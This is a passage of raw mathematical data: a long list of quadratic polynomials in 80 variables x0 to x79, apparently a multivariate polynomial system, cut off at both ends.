x65*x68 + x65*x70 + x65*x75 + x65*x76 + x65*x78 + x66*x67 + x66*x72 + x66*x74 + x66*x75 + x66*x77 + x66 + x67*x68 + x67*x74 + x67*x75 + x67*x77 + x67*x78 + x68*x69 + x68*x70 + x68*x71 + x68*x74 + x68*x75 + x68*x77 + x68*x78 + x68 + x69*x71 + x69*x72 + x69*x75 + x69*x79 + x69 + x70*x71 + x70*x72 + x70*x73 + x70*x76 + x70*x78 + x70*x79 + x71*x76 + x71*x79 + x71 + x72*x74 + x72*x75 + x72*x78 + x73*x75 + x73*x77 + x73 + x74 + x75*x76 + x75*x77 + x75 + x76*x78 + x76 + x77*x79 + x77 + x78*x79 + x79, x0*x1 + x0*x2 + x0*x7 + x0*x8 + x0*x9 + x0*x11 + x0*x15 + x0*x17 + x0*x19 + x0*x20 + x0*x21 + x0*x22 + x0*x23 + x0*x25 + x0*x26 + x0*x27 + x0*x31 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x36 + x0*x37 + x0*x38 + x0*x41 + x0*x42 + x0*x44 + x0*x46 + x0*x49 + x0*x50 + x0*x52 + x0*x55 + x0*x56 + x0*x58 + x0*x62 + x0*x64 + x0*x65 + x0*x67 + x0*x69 + x0*x71 + x0*x72 + x0*x74 + x0*x77 + x0*x78 + x0*x79 + x1*x3 + x1*x4 + x1*x5 + x1*x6 + x1*x7 + x1*x10 + x1*x13 + x1*x15 + x1*x18 + x1*x19 + x1*x20 + x1*x21 + x1*x23 + x1*x25 + x1*x26 + x1*x27 + x1*x28 + x1*x29 + x1*x31 + x1*x32 + x1*x34 + x1*x38 + x1*x39 + x1*x41 + x1*x42 + x1*x43 + x1*x46 + x1*x47 + x1*x48 + x1*x50 + x1*x56 + x1*x58 + x1*x60 + x1*x61 + x1*x62 + x1*x66 + x1*x72 + x1*x73 + x2*x5 + x2*x8 + x2*x9 + x2*x10 + x2*x11 + x2*x12 + x2*x15 + x2*x16 + x2*x17 + x2*x18 + x2*x19 + x2*x20 + x2*x24 + x2*x26 + x2*x28 + x2*x30 + x2*x31 + x2*x35 + x2*x37 + x2*x38 + x2*x42 + x2*x43 + x2*x44 + x2*x45 + x2*x46 + x2*x47 + x2*x50 + x2*x51 + x2*x52 + x2*x53 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x61 + x2*x62 + x2*x65 + x2*x66 + x2*x71 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x2 + x3*x7 + x3*x8 + x3*x10 + x3*x11 + x3*x12 + x3*x13 + x3*x14 + x3*x15 + x3*x19 + x3*x21 + x3*x23 + x3*x27 + x3*x29 + x3*x30 + x3*x31 + x3*x33 + x3*x35 + x3*x37 + x3*x41 + x3*x45 + x3*x50 + x3*x57 + x3*x59 + x3*x60 + x3*x62 + x3*x64 + x3*x66 + x3*x67 + x3*x69 + x3*x70 + x3*x72 + x3*x75 + x3*x76 + x3 + x4*x5 + x4*x6 + x4*x9 + x4*x12 + x4*x13 + x4*x16 + x4*x25 + x4*x26 + x4*x30 + x4*x31 + x4*x35 + x4*x40 + x4*x41 + x4*x42 + x4*x43 + x4*x44 + x4*x46 + x4*x47 + x4*x49 + x4*x50 + x4*x52 + x4*x53 + x4*x54 + x4*x55 + x4*x61 + x4*x62 + x4*x63 + x4*x64 + x4*x66 + x4*x67 + x4*x69 + x4*x74 + x4*x77 + x4*x78 + x4 + x5*x6 + x5*x11 + x5*x19 + x5*x20 + x5*x26 + x5*x27 + x5*x29 + x5*x30 + x5*x32 + x5*x35 + x5*x36 + x5*x37 + x5*x39 + x5*x40 + x5*x42 + x5*x43 + x5*x49 + x5*x51 + x5*x56 + x5*x57 + x5*x59 + x5*x63 + x5*x64 + x5*x65 + x5*x66 + x5*x69 + x5*x71 + x5*x72 + x5*x78 + x5*x79 + x6*x12 + x6*x15 + x6*x16 + x6*x17 + x6*x19 + x6*x20 + x6*x23 + x6*x24 + x6*x26 + x6*x28 + x6*x30 + x6*x31 + x6*x35 + x6*x38 + x6*x39 + x6*x42 + x6*x43 + x6*x46 + x6*x49 + x6*x51 + x6*x53 + x6*x54 + x6*x59 + x6*x61 + x6*x67 + x6*x68 + x6*x69 + x6*x70 + x6*x72 + x6*x73 + x6*x79 + x7*x11 + x7*x12 + x7*x16 + x7*x17 + x7*x19 + x7*x21 + x7*x22 + x7*x23 + x7*x24 + x7*x26 + x7*x27 + x7*x29 + x7*x30 + x7*x36 + x7*x40 + x7*x43 + x7*x46 + x7*x47 + x7*x54 + x7*x55 + x7*x56 + x7*x58 + x7*x60 + x7*x61 + x7*x62 + x7*x65 + x7*x66 + x7*x69 + x7*x70 + x7*x72 + x7*x74 + x7*x78 + x8*x10 + x8*x13 + x8*x15 + x8*x16 + x8*x18 + x8*x19 + x8*x22 + x8*x24 + x8*x25 + x8*x27 + x8*x28 + x8*x30 + x8*x34 + x8*x35 + x8*x36 + x8*x37 + x8*x41 + x8*x44 + x8*x45 + x8*x49 + x8*x50 + x8*x51 + x8*x53 + x8*x55 + x8*x56 + x8*x59 + x8*x62 + x8*x64 + x8*x65 + x8*x66 + x8*x67 + x8*x73 + x8*x74 + x8*x75 + x8*x76 + x8*x77 + x9*x11 + x9*x12 + x9*x13 + x9*x15 + x9*x17 + x9*x19 + x9*x20 + x9*x21 + x9*x23 + x9*x25 + x9*x26 + x9*x27 + x9*x28 + x9*x32 + x9*x35 + x9*x36 + x9*x43 + x9*x46 + x9*x47 + x9*x48 + x9*x50 + x9*x52 + x9*x55 + x9*x58 + x9*x59 + x9*x60 + x9*x63 + x9*x64 + x9*x67 + x9*x70 + x9*x71 + x9*x72 + x9*x74 + x9*x75 + x9*x76 + x9*x77 + x10*x13 + x10*x14 + x10*x19 + x10*x20 + x10*x21 + x10*x25 + x10*x26 + x10*x28 + x10*x30 + x10*x32 + x10*x34 + x10*x35 + x10*x37 + x10*x39 + x10*x40 + x10*x41 + x10*x44 + x10*x47 + x10*x48 + x10*x49 + x10*x50 + x10*x54 + x10*x55 + x10*x60 + x10*x61 + x10*x62 + x10*x63 + x10*x65 + x10*x70 + x10*x78 + x11*x20 + x11*x21 + x11*x24 + x11*x25 + x11*x30 + x11*x32 + x11*x33 + x11*x35 + x11*x36 + x11*x38 + x11*x40 + x11*x43 + x11*x44 + x11*x45 + x11*x54 + x11*x55 + x11*x56 + x11*x58 + x11*x59 + x11*x61 + x11*x63 + x11*x64 + x11*x65 + x11*x67 + x11*x70 + x11*x74 + x11 + x12*x13 + x12*x15 + x12*x16 + x12*x18 + x12*x23 + x12*x24 + x12*x25 + x12*x27 + x12*x33 + x12*x42 + x12*x43 + x12*x44 + x12*x45 + x12*x46 + x12*x48 + x12*x49 + x12*x51 + x12*x52 + x12*x54 + x12*x55 + x12*x60 + x12*x61 + x12*x66 + x12*x71 + x12*x72 + x12*x79 + x13*x14 + x13*x16 + x13*x26 + x13*x28 + x13*x30 + x13*x31 + x13*x33 + x13*x35 + x13*x36 + x13*x37 + x13*x42 + x13*x43 + x13*x45 + x13*x46 + x13*x49 + x13*x50 + x13*x52 + x13*x54 + x13*x59 + x13*x63 + x13*x65 + x13*x70 + x13*x71 + x13*x72 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x13*x79 + x14*x16 + x14*x18 + x14*x19 + x14*x22 + x14*x23 + x14*x25 + x14*x26 + x14*x28 + x14*x32 + x14*x33 + x14*x35 + x14*x37 + x14*x39 + x14*x41 + x14*x43 + x14*x51 + x14*x52 + x14*x54 + x14*x57 + x14*x58 + x14*x61 + x14*x62 + x14*x65 + x14*x67 + x14*x68 + x14*x69 + x14*x70 + x14*x71 + x14*x73 + x14*x74 + x14*x79 + x15*x17 + x15*x18 + x15*x21 + x15*x29 + x15*x30 + x15*x31 + x15*x32 + x15*x36 + x15*x38 + x15*x39 + x15*x42 + x15*x43 + x15*x44 + x15*x45 + x15*x46 + x15*x48 + x15*x51 + x15*x54 + x15*x56 + x15*x58 + x15*x59 + x15*x61 + x15*x62 + x15*x65 + x15*x67 + x15*x71 + x15*x74 + x15*x76 + x15*x77 + x15*x78 + x15 + x16*x19 + x16*x20 + x16*x24 + x16*x29 + x16*x36 + x16*x37 + x16*x38 + x16*x39 + x16*x40 + x16*x42 + x16*x44 + x16*x48 + x16*x50 + x16*x51 + x16*x53 + x16*x63 + x16*x65 + x16*x68 + x16*x70 + x16*x75 + x16*x77 + x17*x18 + x17*x21 + x17*x24 + x17*x26 + x17*x29 + x17*x31 + x17*x32 + x17*x33 + x17*x34 + x17*x37 + x17*x38 + x17*x40 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x46 + x17*x49 + x17*x51 + x17*x52 + x17*x54 + x17*x57 + x17*x59 + x17*x60 + x17*x64 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x70 + x17*x78 + x17*x79 + x18*x21 + x18*x23 + x18*x25 + x18*x27 + x18*x28 + x18*x29 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x35 + x18*x36 + x18*x38 + x18*x40 + x18*x41 + x18*x42 + x18*x44 + x18*x52 + x18*x53 + x18*x55 + x18*x57 + x18*x60 + x18*x64 + x18*x66 + x18*x68 + x18*x70 + x18*x71 + x18*x72 + x18*x74 + x18*x76 + x18*x77 + x18*x78 + x19*x20 + x19*x22 + x19*x24 + x19*x25 + x19*x26 + x19*x29 + x19*x30 + x19*x31 + x19*x32 + x19*x34 + x19*x37 + x19*x41 + x19*x42 + x19*x45 + x19*x47 + x19*x48 + x19*x49 + x19*x51 + x19*x52 + x19*x53 + x19*x55 + x19*x61 + x19*x67 + x19*x73 + x19*x76 + x19*x77 + x19*x78 + x20*x22 + x20*x23 + x20*x24 + x20*x27 + x20*x30 + x20*x31 + x20*x32 + x20*x34 + x20*x35 + x20*x40 + x20*x41 + x20*x42 + x20*x44 + x20*x49 + x20*x51 + x20*x52 + x20*x53 + x20*x58 + x20*x61 + x20*x62 + x20*x63 + x20*x67 + x20*x68 + x20*x75 + x20*x76 + x20*x77 + x20*x79 + x21*x23 + x21*x24 + x21*x25 + x21*x26 + x21*x28 + x21*x30 + x21*x32 + x21*x33 + x21*x35 + x21*x41 + x21*x42 + x21*x44 + x21*x47 + x21*x48 + x21*x49 + x21*x51 + x21*x52 + x21*x54 + x21*x57 + x21*x66 + x21*x69 + x21*x72 + x21*x75 + x21*x76 + x21*x77 + x21*x78 + x21*x79 + x22*x24 + x22*x25 + x22*x26 + x22*x31 + x22*x34 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x43 + x22*x44 + x22*x45 + x22*x47 + x22*x49 + x22*x52 + x22*x54 + x22*x55 + x22*x58 + x22*x60 + x22*x63 + x22*x67 + x22*x68 + x22*x69 + x22*x71 + x22*x72 + x22*x74 + x22*x75 + x22*x76 + x22*x78 + x22*x79 + x22 + x23*x26 + x23*x28 + x23*x29 + x23*x31 + x23*x32 + x23*x39 + x23*x40 + x23*x41 + x23*x42 + x23*x44 + x23*x45 + x23*x46 + x23*x47 + x23*x48 + x23*x49 + x23*x50 + x23*x52 + x23*x53 + x23*x58 + x23*x59 + x23*x62 + x23*x64 + x23*x67 + x23*x71 + x23*x74 + x23*x78 + x23*x79 + x24*x25 + x24*x28 + x24*x29 + x24*x30 + x24*x31 + x24*x33 + x24*x34 + x24*x38 + x24*x39 + x24*x43 + x24*x44 + x24*x45 + x24*x46 + x24*x47 + x24*x48 + x24*x50 + x24*x53 + x24*x55 + x24*x56 + x24*x58 + x24*x60 + x24*x65 + x24*x66 + x24*x69 + x24*x70 + x24*x71 + x24*x73 + x24*x74 + x24*x75 + x24*x76 + x24*x77 + x24*x78 + x24 + x25*x27 + x25*x28 + x25*x32 + x25*x33 + x25*x34 + x25*x35 + x25*x36 + x25*x38 + x25*x42 + x25*x43 + x25*x44 + x25*x45 + x25*x47 + x25*x50 + x25*x51 + x25*x54 + x25*x58 + x25*x66 + x25*x67 + x25*x70 + x25*x72 + x25*x73 + x25*x75 + x25*x76 + x25 + x26*x30 + x26*x31 + x26*x32 + x26*x33 + x26*x34 + x26*x37 + x26*x38 + x26*x39 + x26*x40 + x26*x42 + x26*x45 + x26*x46 + x26*x49 + x26*x53 + x26*x54 + x26*x56 + x26*x57 + x26*x59 + x26*x62 + x26*x65 + x26*x66 + x26*x67 + x26*x68 + x26*x69 + x26*x71 + x26*x76 + x26*x77 + x26*x78 + x26*x79 + x27*x29 + x27*x30 + x27*x31 + x27*x32 + x27*x41 + x27*x42 + x27*x43 + x27*x45 + x27*x48 + x27*x49 + x27*x53 + x27*x55 + x27*x56 + x27*x59 + x27*x60 + x27*x63 + x27*x64 + x27*x67 + x27*x68 + x27*x70 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x78 + x27 + x28*x30 + x28*x31 + x28*x32 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x41 + x28*x42 + x28*x45 + x28*x47 + x28*x48 + x28*x49 + x28*x50 + x28*x53 + x28*x54 + x28*x56 + x28*x57 + x28*x59 + x28*x61 + x28*x62 + x28*x64 + x28*x65 + x28*x70 + x28*x72 + x28*x73 + x28*x77 + x29*x30 + x29*x32 + x29*x33 + x29*x34 + x29*x35 + x29*x37 + x29*x41 + x29*x42 + x29*x47 + x29*x48 + x29*x49 + x29*x50 + x29*x51 + x29*x53 + x29*x54 + x29*x57 + x29*x58 + x29*x59 + x29*x61 + x29*x62 + x29*x63 + x29*x67 + x29*x68 + x29*x72 + x29*x74 + x29*x75 + x29*x77 + x29*x78 + x29*x79 + x29 + x30*x31 + x30*x32 + x30*x33 + x30*x35 + x30*x36 + x30*x38 + x30*x40 + x30*x41 + x30*x42 + x30*x43 + x30*x45 + x30*x46 + x30*x49 + x30*x51 + x30*x57 + x30*x58 + x30*x62 + x30*x64 + x30*x65 + x30*x67 + x30*x68 + x30*x69 + x30*x70 + x30*x71 + x30*x74 + x30*x77 + x30*x79 + x30 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x37 + x31*x38 + x31*x40 + x31*x46 + x31*x47 + x31*x49 + x31*x50 + x31*x52 + x31*x56 + x31*x60 + x31*x61 + x31*x62 + x31*x63 + x31*x64 + x31*x66 + x31*x67 + x31*x70 + x31*x72 + x31*x73 + x31*x74 + x31*x77 + x32*x33 + x32*x34 + x32*x36 + x32*x37 + x32*x38 + x32*x39 + x32*x43 + x32*x46 + x32*x47 + x32*x48 + x32*x51 + x32*x54 + x32*x58 + x32*x59 + x32*x60 + x32*x63 + x32*x64 + x32*x66 + x32*x68 + x32*x69 + x32*x71 + x32*x72 + x32*x73 + x32*x75 + x32*x77 + x33*x35 + x33*x37 + x33*x38 + x33*x42 + x33*x45 + x33*x46 + x33*x49 + x33*x51 + x33*x52 + x33*x55 + x33*x58 + x33*x62 + x33*x68 + x33*x69 + x33*x70 + x33*x71 + x33*x73 + x33*x76 + x33 + x34*x36 + x34*x38 + x34*x39 + x34*x40 + x34*x41 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x53 + x34*x55 + x34*x56 + x34*x58 + x34*x60 + x34*x61 + x34*x62 + x34*x64 + x34*x67 + x34*x68 + x34*x70 + x34*x73 + x34*x76 + x34*x77 + x34 + x35*x38 + x35*x39 + x35*x42 + x35*x44 + x35*x45 + x35*x46 + x35*x47 + x35*x48 + x35*x49 + x35*x50 + x35*x52 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x58 + x35*x61 + x35*x64 + x35*x65 + x35*x67 + x35*x68 + x35*x70 + x35*x71 + x35*x72 + x35*x75 + x35*x76 + x35*x77 + x35 + x36*x38 + x36*x39 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x50 + x36*x51 + x36*x53 + x36*x56 + x36*x59 + x36*x60 + x36*x61 + x36*x62 + x36*x64 + x36*x68 + x36*x71 + x36*x72 + x36*x73 + x36*x74 + x36*x76 + x36*x77 + x36*x78 + x36*x79 + x37*x38 + x37*x39 + x37*x40 + x37*x46 + x37*x47 + x37*x50 + x37*x52 + x37*x53 + x37*x57 + x37*x59 + x37*x61 + x37*x64 + x37*x66 + x37*x71 + x37*x74 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x45 + x38*x46 + x38*x47 + x38*x48 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x56 + x38*x57 + x38*x58 + x38*x61 + x38*x64 + x38*x65 + x38*x66 + x38*x67 + x38*x71 + x38*x72 + x38*x73 + x38*x76 + x38*x77 + x39*x40 + x39*x41 + x39*x44 + x39*x52 + x39*x53 + x39*x57 + x39*x58 + x39*x64 + x39*x65 + x39*x67 + x39*x69 + x39*x70 + x39*x73 + x39*x75 + x39*x76 + x39*x77 + x39*x79 + x39 + x40*x44 + x40*x45 + x40*x46 + x40*x49 + x40*x54 + x40*x55 + x40*x56 + x40*x57 + x40*x62 + x40*x63 + x40*x64 + x40*x65 + x40*x67 + x40*x68 + x40*x69 + x40*x70 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x78 + x41*x42 + x41*x46 + x41*x50 + x41*x52 + x41*x55 + x41*x56 + x41*x57 + x41*x58 + x41*x61 + x41*x64 + x41*x65 + x41*x66 + x41*x67 + x41*x69 + x41*x72 + x41*x79 + x41 + x42*x43 + x42*x44 + x42*x45 + x42*x46 + x42*x48 + x42*x49 + x42*x50 + x42*x53 + x42*x61 + x42*x69 + x42*x71 + x42*x72 + x42*x75 + x42*x76 + x42*x79 + x43*x47 + x43*x49 + x43*x50 + x43*x52 + x43*x59 + x43*x63 + x43*x64 + x43*x66 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x78 + x43 + x44*x46 + x44*x50 + x44*x51 + x44*x53 + x44*x56 + x44*x57 + x44*x59 + x44*x60 + x44*x61 + x44*x69 + x44*x70 + x44*x71 + x44*x73 + x44*x74 + x44*x75 + x44*x77 + x44*x79 + x45*x46 + x45*x48 + x45*x49 + x45*x50 + x45*x52 + x45*x53 + x45*x57 + x45*x60 + x45*x61 + x45*x65 + x45*x66 + x45*x67 + x45*x68 + x45*x70 + x45*x73 + x45*x76 + x45*x77 + x46*x48 + x46*x50 + x46*x53 + x46*x59 + x46*x61 + x46*x64 + x46*x67 + x46*x70 + x46*x72 + x46*x73 + x46*x74 + x46*x76 + x46*x77 + x47*x48 + x47*x49 + x47*x51 + x47*x56 + x47*x57 + x47*x58 + x47*x59 + x47*x60 + x47*x61 + x47*x62 + x47*x65 + x47*x66 + x47*x67 + x47*x71 + x47*x72 + x47*x73 + x47*x74 + x47*x75 + x47*x78 + x47*x79 + x48*x50 + x48*x51 + x48*x52 + x48*x53 + x48*x55 + x48*x56 + x48*x57 + x48*x59 + x48*x61 + x48*x66 + x48*x68 + x48*x71 + x48*x72 + x48*x76 + x48 + x49*x50 + x49*x51 + x49*x52 + x49*x53 + x49*x54 + x49*x55 + x49*x57 + x49*x59 + x49*x63 + x49*x65 + x49*x71 + x49*x72 + x49*x74 + x50*x51 + x50*x52 + x50*x54 + x50*x55 + x50*x56 + x50*x57 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x62 + x50*x65 + x50*x67 + x50*x68 + x50*x69 + x50*x71 + x50*x72 + x50*x73 + x50*x74 + x50*x76 + x50*x77 + x50*x79 + x51*x54 + x51*x55 + x51*x56 + x51*x61 + x51*x64 + x51*x67 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x75 + x51*x78 + x51*x79 + x52*x53 + x52*x55 + x52*x56 + x52*x58 + x52*x60 + x52*x64 + x52*x65 + x52*x70 + x52*x72 + x52*x76 + x52*x78 + x52*x79 + x53*x54 + x53*x59 + x53*x60 + x53*x64 + x53*x66 + x53*x68 + x53*x72 + x53*x73 + x53*x74 + x53*x75 + x53*x79 + x53 + x54*x56 + x54*x58 + x54*x59 + x54*x63 + x54*x64 + x54*x65 + x54*x69 + x54*x71 + x54*x72 + x54*x75 + x54*x78 + x54*x79 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x62 + x55*x63 + x55*x64 + x55*x65 + x55*x66 + x55*x69 + x55*x73 + x55*x75 + x55*x76 + x55*x77 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x61 + x56*x62 + x56*x63 + x56*x64 + x56*x66 + x56*x68 + x56*x69 + x56*x70 + x56*x71 + x56*x75 + x56*x78 + x57*x59 + x57*x67 + x57*x70 + x57*x71 + x57*x72 + x57*x76 + x57*x78 + x57*x79 + x58*x60 + x58*x63 + x58*x64 + x58*x65 + x58*x66 + x58*x69 + x58*x72 + x58*x74 + x58*x75 + x58 + x59*x60 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x68 + x59*x76 + x59*x78 + x59*x79 + x59 + x60*x61 + x60*x64 + x60*x65 + x60*x69 + x60*x73 + x60*x76 + x60*x77 + x60*x79 + x61*x62 + x61*x63 + x61*x66 + x61*x67 + x61*x68 + x61*x69 + x61*x77 + x61*x78 + x61*x79 + x62*x68 + x62*x72 + x62*x75 + x62*x76 + x62*x78 + x63*x67 + x63*x69 + x63*x71 + x63*x72 + x63*x73 + x63*x75 + x63*x76 + x63*x77 + x63*x78 + x64*x65 + x64*x71 + x64*x72 + x64*x74 + x64*x75 + x64*x76 + x65*x66 + x65*x67 + x65*x69 + x65*x71 + x65*x72 + x65*x74 + x65*x75 + x65 + x66*x67 + x66*x68 + x66*x69 + x66*x71 + x66*x73 + x66*x74 + x66*x78 + x67*x69 + x67*x70 + x67*x71 + x67*x72 + x67*x76 + x67*x79 + x68*x69 + x68*x70 + x68*x71 + x68*x72 + x68*x73 + x68*x76 + x68*x77 + x68*x79 + x68 + x69*x71 + x69*x72 + x69*x74 + x69*x75 + x69*x79 + x70*x73 + x70*x78 + x70*x79 + x70 + x71*x75 + x71*x77 + x71*x79 + x72*x73 + x72*x74 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x72 + x73*x75 + x73*x76 + x73*x79 + x74*x75 + x74*x77 + x75*x77 + x75*x78 + x75*x79 + x76*x79 + x76 + x77*x79 + x77 + x78 + x79 + 1, x0*x2 + x0*x3 + x0*x4 + x0*x8 + x0*x9 + x0*x10 + x0*x11 + x0*x14 + x0*x17 + x0*x18 + x0*x20 + x0*x22 + x0*x24 + x0*x26 + x0*x27 + x0*x29 + x0*x32 + x0*x33 + x0*x34 + x0*x38 + x0*x41 + x0*x42 + x0*x43 + x0*x46 + x0*x49 + x0*x50 + x0*x52 + x0*x53 + x0*x57 + x0*x58 + x0*x59 + x0*x60 + x0*x61 + x0*x63 + x0*x64 + x0*x66 + x0*x67 + x0*x68 + x0*x73 + x0*x74 + x0*x78 + x0*x79 + x0 + x1*x4 + x1*x6 + x1*x7 + x1*x9 + x1*x10 + x1*x11 + x1*x12 + x1*x13 + x1*x15 + x1*x16 + x1*x20 + x1*x22 + x1*x23 + x1*x24 + x1*x25 + x1*x26 + x1*x27 + x1*x29 + x1*x32 + x1*x37 + x1*x38 + x1*x41 + x1*x43 + x1*x45 + x1*x46 + x1*x47 + x1*x48 + x1*x49 + x1*x51 + x1*x52 + x1*x54 + x1*x57 + x1*x59 + x1*x60 + x1*x61 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x68 + x1*x69 + x1*x70 + x1*x73 + x1*x75 + x1*x76 + x1*x79 + x2*x3 + x2*x4 + x2*x7 + x2*x9 + x2*x12 + x2*x13 + x2*x14 + x2*x16 + x2*x17 + x2*x22 + x2*x25 + x2*x26 + x2*x27 + x2*x28 + x2*x31 + x2*x35 + x2*x36 + x2*x37 + x2*x39 + x2*x41 + x2*x42 + x2*x46 + x2*x50 + x2*x51 + x2*x53 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x64 + x2*x67 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x75 + x2*x76 + x2*x79 + x2 + x3*x5 + x3*x6 + x3*x8 + x3*x9 + x3*x10 + x3*x11 + x3*x12 + x3*x14 + x3*x16 + x3*x21 + x3*x23 + x3*x25 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x40 + x3*x41 + x3*x42 + x3*x44 + x3*x49 + x3*x55 + x3*x57 + x3*x58 + x3*x59 + x3*x61 + x3*x63 + x3*x68 + x3*x69 + x3*x70 + x3*x71 + x3*x72 + x3*x74 + x3*x75 + x3*x77 + x3 + x4*x6 + x4*x7 + x4*x8 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x14 + x4*x16 + x4*x19 + x4*x20 + x4*x24 + x4*x25 + x4*x27 + x4*x28 + x4*x29 + x4*x30 + x4*x34 + x4*x36 + x4*x37 + x4*x39 + x4*x41 + x4*x43 + x4*x44 + x4*x46 + x4*x48 + x4*x51 + x4*x54 + x4*x55 + x4*x56 + x4*x59 + x4*x61 + x4*x62 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x70 + x4*x72 + x4*x73 + x4*x74 + x4 + x5*x6 + x5*x8 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x15 + x5*x16 + x5*x19 + x5*x20 + x5*x23 + x5*x25 + x5*x29 + x5*x30 + x5*x32 + x5*x33 + x5*x34 + x5*x35 + x5*x39 + x5*x40 + x5*x41 + x5*x43 + x5*x46 + x5*x49 + x5*x54 + x5*x60 + x5*x61 + x5*x62 + x5*x64 + x5*x67 + x5*x68 + x5*x69 + x5*x71 + x5*x72 + x5*x78 + x5 + x6*x10 + x6*x11 + x6*x14 + x6*x16 + x6*x17 + x6*x18 + x6*x19 + x6*x20 + x6*x22 + x6*x24 + x6*x29 + x6*x34 + x6*x35 + x6*x41 + x6*x43 + x6*x45 + x6*x46 + x6*x47 + x6*x51 + x6*x52 + x6*x53 + x6*x56 + x6*x58 + x6*x59 + x6*x60 + x6*x63 + x6*x64 + x6*x65 + x6*x66 + x6*x68 + x6*x71 + x6*x72 + x6*x75 + x6*x77 + x6*x78 + x6*x79 + x7*x8 + x7*x9 + x7*x11 + x7*x13 + x7*x15 + x7*x20 + x7*x24 + x7*x25 + x7*x26 + x7*x27 + x7*x28 + x7*x29 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x36 + x7*x39 + x7*x43 + x7*x44 + x7*x45 + x7*x47 + x7*x50 + x7*x51 + x7*x52 + x7*x53 + x7*x57 + x7*x59 + x7*x60 + x7*x61 + x7*x63 + x7*x66 + x7*x67 + x7*x71 + x7*x72 + x7*x75 + x7*x77 + x7*x79 + x8*x11 + x8*x13 + x8*x15 + x8*x16 + x8*x17 + x8*x19 + x8*x21 + x8*x22 + x8*x23 + x8*x24 + x8*x27 + x8*x34 + x8*x39 + x8*x41 + x8*x43 + x8*x44 + x8*x45 + x8*x46 + x8*x48 + x8*x49 + x8*x51 + x8*x52 + x8*x53 + x8*x55 + x8*x56 + x8*x59 + x8*x62 + x8*x65 + x8*x68 + x8*x69 + x8*x70 + x8*x71 + x8*x72 + x8*x74 + x8*x76 + x8*x77 + x8 + x9*x10 + x9*x12 + x9*x15 + x9*x21 + x9*x23 + x9*x27 + x9*x30 + x9*x31 + x9*x32 + x9*x33 + x9*x34 + x9*x38 + x9*x39 + x9*x43 + x9*x44 + x9*x45 + x9*x46 + x9*x47 + x9*x48 + x9*x49 + x9*x52 + x9*x53 + x9*x55 + x9*x57 + x9*x59 + x9*x63 + x9*x67 + x9*x71 + x9*x73 + x9*x79 + x10*x14 + x10*x18 + x10*x19 + x10*x20 + x10*x21 + x10*x22 + x10*x24 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x29 + x10*x30 + x10*x31 + x10*x32 + x10*x36 + x10*x40 + x10*x41 + x10*x46 + x10*x50 + x10*x57 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x66 + x10*x67 + x10*x70 + x10*x73 + x10*x75 + x10*x76 + x10*x77 + x10*x78 + x11*x13 + x11*x14 + x11*x18 + x11*x19 + x11*x21 + x11*x22 + x11*x25 + x11*x26 + x11*x30 + x11*x31 + x11*x33 + x11*x34 + x11*x35 + x11*x38 + x11*x40 + x11*x41 + x11*x42 + x11*x44 + x11*x45 + x11*x47 + x11*x48 + x11*x49 + x11*x50 + x11*x53 + x11*x57 + x11*x59 + x11*x60 + x11*x62 + x11*x65 + x11*x66 + x11*x68 + x11*x69 + x11*x72 + x11*x79 + x12*x15 + x12*x16 + x12*x17 + x12*x19 + x12*x20 + x12*x25 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x34 + x12*x36 + x12*x38 + x12*x40 + x12*x42 + x12*x44 + x12*x48 + x12*x49 + x12*x51 + x12*x52 + x12*x53 + x12*x56 + x12*x57 + x12*x59 + x12*x60 + x12*x61 + x12*x67 + x12*x69 + x12*x71 + x12*x75 + x12 + x13*x16 + x13*x18 + x13*x20 + x13*x21 + x13*x23 + x13*x24 + x13*x25 + x13*x28 + x13*x30 + x13*x31 + x13*x33 + x13*x34 + x13*x36 + x13*x37 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x48 + x13*x51 + x13*x52 + x13*x54 + x13*x58 + x13*x59 + x13*x64 + x13*x70 + x13*x71 + x13*x74 + x13*x75 + x13*x76 + x13*x78 + x13 + x14*x15 + x14*x16 + x14*x17 + x14*x20 + x14*x22 + x14*x23 + x14*x25 + x14*x26 + x14*x27 + x14*x29 + x14*x31 + x14*x33 + x14*x39 + x14*x40 + x14*x41 + x14*x42 + x14*x44 + x14*x50 + x14*x55 + x14*x57 + x14*x58 + x14*x61 + x14*x63 + x14*x65 + x14*x67 + 